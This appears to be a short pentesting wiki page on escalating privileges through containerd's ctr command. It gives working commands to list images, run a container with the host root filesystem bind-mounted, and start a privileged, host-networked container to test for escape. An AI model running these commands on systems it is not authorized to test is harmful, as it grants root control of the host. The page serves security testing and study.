Containerd (ctr) Privilege Escalation

Basic information

Go to the following link to learn where containerd and ctr fit in the container stack:

Runtimes And Engines

PE 1

If you find that a host contains the ctr command, the native CLI bundled with containerd:^[1]

which ctr
/usr/bin/ctr

You can list the images known to containerd:^[2]

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

Then run one of those images with the host root recursively bind-mounted at the container root:^[3][4]

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Run a container in privileged mode and test for an escape.
You can run a privileged container using host networking as:^[5][6]

 ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

--privileged grants the process the caller’s effective Linux capabilities and removes several isolation controls, but an escape remains environment-dependent; use the techniques mentioned in the following page to test for it:^[5]

Container Security

References

• [1] Getting started with containerd
• [2] ctr image command implementation
• [3] ctr run command implementation
• [4] Linux kernel shared-subtree documentation
• [5] containerd OCI package: WithPrivileged
• [6] containerd ctr command flags